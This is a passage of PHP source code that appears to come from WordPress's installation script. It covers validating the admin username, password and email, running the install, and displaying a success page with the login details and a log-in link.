(int) $_POST['blog_public'] : 1; // Check email address. $error = false; if ( empty( $user_name ) ) { // TODO: Poka-yoke. display_setup_form( __( 'Please provide a valid username.' ) ); $error = true; } elseif ( sanitize_user( $user_name, true ) !== $user_name ) { display_setup_form( __( 'The username you provided has invalid characters.' ) ); $error = true; } elseif ( $admin_password !== $admin_password_check ) { // TODO: Poka-yoke. display_setup_form( __( 'Your passwords do not match. Please try again.' ) ); $error = true; } elseif ( empty( $admin_email ) ) { // TODO: Poka-yoke. display_setup_form( __( 'You must provide an email address.' ) ); $error = true; } elseif ( ! is_email( $admin_email ) ) { // TODO: Poka-yoke. display_setup_form( __( 'Sorry, that is not a valid email address. Email addresses look like <code>username@example.com</code>.' ) ); $error = true; } if ( false === $error ) { $wpdb->show_errors(); $result = wp_install( $weblog_title, $user_name, $admin_email, $public, '', wp_slash( $admin_password ), $loaded_language ); ?> <h1><?php _e( 'Success!' ); ?></h1> <p><?php _e( 'WordPress has been installed. Thank you, and enjoy!' ); ?></p> <table class="form-table install-success"> <tr> <th><?php _e( 'Username' ); ?></th> <td><?php echo esc_html( sanitize_user( $user_name, true ) ); ?></td> </tr> <tr> <th><?php _e( 'Password' ); ?></th> <td> <?php if ( ! empty( $result['password'] ) && empty( $admin_password_check ) ) : ?> <code><?php echo esc_html( $result['password'] ); ?></code><br /> <?php endif; ?> <p><?php echo $result['password_message']; ?></p> </td> </tr> </table> <p class="step"><a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log In' ); ?></a></p> <?php } break; } if ( ! wp_is_mobile() ) { ?> <script type="text/javascript">var t = document.getElementById('weblog_title'); if (t){ t.focus(); }</script> <?php } wp_print_scripts( $scripts_to_print ); ?> <script type="text/javascript"> jQuery( function( $ ) { $( '.hide-if-no-js' ).removeClass( 'hide-if-no-js' ); } ); </script> </body> </html>